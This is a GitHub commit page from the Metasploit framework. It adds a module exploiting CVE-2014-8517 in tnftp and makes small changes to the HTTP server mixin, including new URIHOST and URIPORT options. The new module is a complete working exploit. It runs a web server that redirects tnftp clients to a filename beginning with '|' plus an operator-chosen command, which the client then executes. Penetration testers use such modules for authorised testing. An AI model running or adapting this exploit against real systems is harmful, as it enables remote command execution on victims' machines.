Skip to content

Commit f8593ca

Browse files
author
Tod Beardsley
committed
Land rapid7#4109, tnftp savefile exploit from @wvu-r7
2 parents b0e388f + 953a642 commit f8593ca

File tree

2 files changed

+112
-3
lines changed

2 files changed

+112
-3
lines changed

lib/msf/core/exploit/http/server.rb

Lines changed: 24 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,11 @@ def initialize(info = {})
3737
], Exploit::Remote::HttpServer
3838
)
3939

40+
register_advanced_options([
41+
OptAddress.new('URIHOST', [false, 'Host to use in URI (useful for tunnels)']),
42+
OptPort.new('URIPORT', [false, 'Port to use in URI (useful for tunnels)'])
43+
])
44+
4045
# Used to keep track of resources added to the service manager by
4146
# this module. see #add_resource and #cleanup
4247
@my_resources = []
@@ -76,6 +81,11 @@ def print_status(msg='')
7681
end
7782
# :category: print_* overrides
7883
# Prepends client and module name if inside a thread with a #cli
84+
def print_good(msg='')
85+
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
86+
end
87+
# :category: print_* overrides
88+
# Prepends client and module name if inside a thread with a #cli
7989
def print_error(msg='')
8090
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
8191
end
@@ -103,6 +113,11 @@ def vprint_status(msg='')
103113
end
104114
# :category: print_* overrides
105115
# Prepends client and module name if inside a thread with a #cli
116+
def vprint_good(msg='')
117+
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
118+
end
119+
# :category: print_* overrides
120+
# Prepends client and module name if inside a thread with a #cli
106121
def vprint_error(msg='')
107122
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
108123
end
@@ -449,7 +464,9 @@ def get_resource
449464
def get_uri(cli=self.cli)
450465
ssl = !!(datastore["SSL"])
451466
proto = (ssl ? "https://" : "http://")
452-
if (cli and cli.peerhost)
467+
if datastore['URIHOST']
468+
host = datastore['URIHOST']
469+
elsif (cli and cli.peerhost)
453470
host = Rex::Socket.source_address(cli.peerhost)
454471
else
455472
host = srvhost_addr
@@ -459,7 +476,9 @@ def get_uri(cli=self.cli)
459476
host = "[#{host}]"
460477
end
461478

462-
if (ssl and datastore["SRVPORT"] == 443)
479+
if datastore['URIPORT']
480+
port = ':' + datastore['URIPORT'].to_s
481+
elsif (ssl and datastore["SRVPORT"] == 443)
463482
port = ''
464483
elsif (!ssl and datastore["SRVPORT"] == 80)
465484
port = ''
@@ -494,7 +513,9 @@ def get_uri(cli=self.cli)
494513
#
495514
# @return [String]
496515
def srvhost_addr
497-
if (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
516+
if datastore['URIHOST']
517+
host = datastore['URIHOST']
518+
elsif (datastore['LHOST'] and (!datastore['LHOST'].strip.empty?))
498519
host = datastore["LHOST"]
499520
else
500521
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'tnftp "savefile" Arbitrary Command Execution',
16+
'Description' => %q{
17+
This module exploits an arbitrary command execution vulnerability in
18+
tnftp's handling of the resolved output filename - called "savefile" in
19+
the source - from a requested resource.
20+
21+
If tnftp is executed without the -o command-line option, it will resolve
22+
the output filename from the last component of the requested resource.
23+
24+
If the output filename begins with a "|" character, tnftp will pass the
25+
fetched resource's output to the command directly following the "|"
26+
character through the use of the popen() function.
27+
},
28+
'Author' => [
29+
'Jared McNeill', # Vulnerability discovery
30+
'wvu' # Metasploit module
31+
],
32+
'References' => [
33+
['CVE', '2014-8517'],
34+
['URL', 'http://seclists.org/oss-sec/2014/q4/459']
35+
],
36+
'DisclosureDate' => 'Oct 28 2014',
37+
'License' => MSF_LICENSE,
38+
'Actions' => [
39+
['Service']
40+
],
41+
'PassiveActions' => [
42+
'Service'
43+
],
44+
'DefaultAction' => 'Service'
45+
))
46+
47+
register_options([
48+
OptString.new('CMD', [true, 'Command to run', 'uname -a'])
49+
])
50+
end
51+
52+
def run
53+
exploit
54+
end
55+
56+
def on_request_uri(cli, request)
57+
unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
58+
print_status("#{request['User-Agent']} connected")
59+
send_not_found(cli)
60+
return
61+
end
62+
63+
if request.uri.ends_with?(sploit)
64+
send_response(cli, '')
65+
print_good("Executing `#{datastore['CMD']}'!")
66+
report_vuln(
67+
:host => cli.peerhost,
68+
:name => self.name,
69+
:refs => self.references,
70+
:info => request['User-Agent']
71+
)
72+
else
73+
print_status("#{request['User-Agent']} connected")
74+
print_status('Redirecting to exploit...')
75+
send_redirect(cli, sploit_uri)
76+
end
77+
end
78+
79+
def sploit_uri
80+
(get_uri.ends_with?('/') ? get_uri : "#{get_uri}/") +
81+
Rex::Text.uri_encode(sploit, 'hex-all')
82+
end
83+
84+
def sploit
85+
"|#{datastore['CMD']}"
86+
end
87+
88+
end

0 commit comments

Comments
 (0)